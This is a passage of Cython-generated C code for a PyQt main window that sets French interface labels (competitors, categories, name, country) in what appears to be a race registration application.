CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__626, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_5); __pyx_t_3 = 0; __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1028 * self.label_7.setText(_translate("MainWindow", "Transpondeur")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) # <<<<<<<<<<<<<< * self.label_33.setText(_translate("MainWindow", "Numro:")) * self.label_34.setText(_translate("MainWindow", "Nom")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Category); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_7) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_5}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_5}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__627, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_8, __pyx_t_3); __pyx_t_2 = 0; __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1029 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) * self.label_33.setText(_translate("MainWindow", "Numro:")) # <<<<<<<<<<<<<< * self.label_34.setText(_translate("MainWindow", "Nom")) * self.label_35.setText(_translate("MainWindow", "Prnom")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_33); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__628, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1030 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) * self.label_33.setText(_translate("MainWindow", "Numro:")) * self.label_34.setText(_translate("MainWindow", "Nom")) # <<<<<<<<<<<<<< * self.label_35.setText(_translate("MainWindow", "Prnom")) * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_34); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__629, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1031 * self.label_33.setText(_translate("MainWindow", "Numro:")) * self.label_34.setText(_translate("MainWindow", "Nom")) * self.label_35.setText(_translate("MainWindow", "Prnom")) # <<<<<<<<<<<<<< * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) * self.label_38.setText(_translate("MainWindow", "Pays")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_35); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__630, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1032 * self.label_34.setText(_translate("MainWindow", "Nom")) * self.label_35.setText(_translate("MainWindow", "Prnom")) * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) # <<<<<<<<<<<<<< * self.label_38.setText(_translate("MainWindow", "Pays")) * self.label_39.setText(_translate("MainWindow", "Date naissance")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_37); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__631, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1033 * self.label_35.setText(_translate("MainWindow", "Prnom")) * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) * self.label_38.setText(_translate("MainWindow", "Pays")) # <<<<<<<<<<<<<< * self.label_39.setText(_translate("MainWindow", "Date naissance")) * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_38); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__632, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = 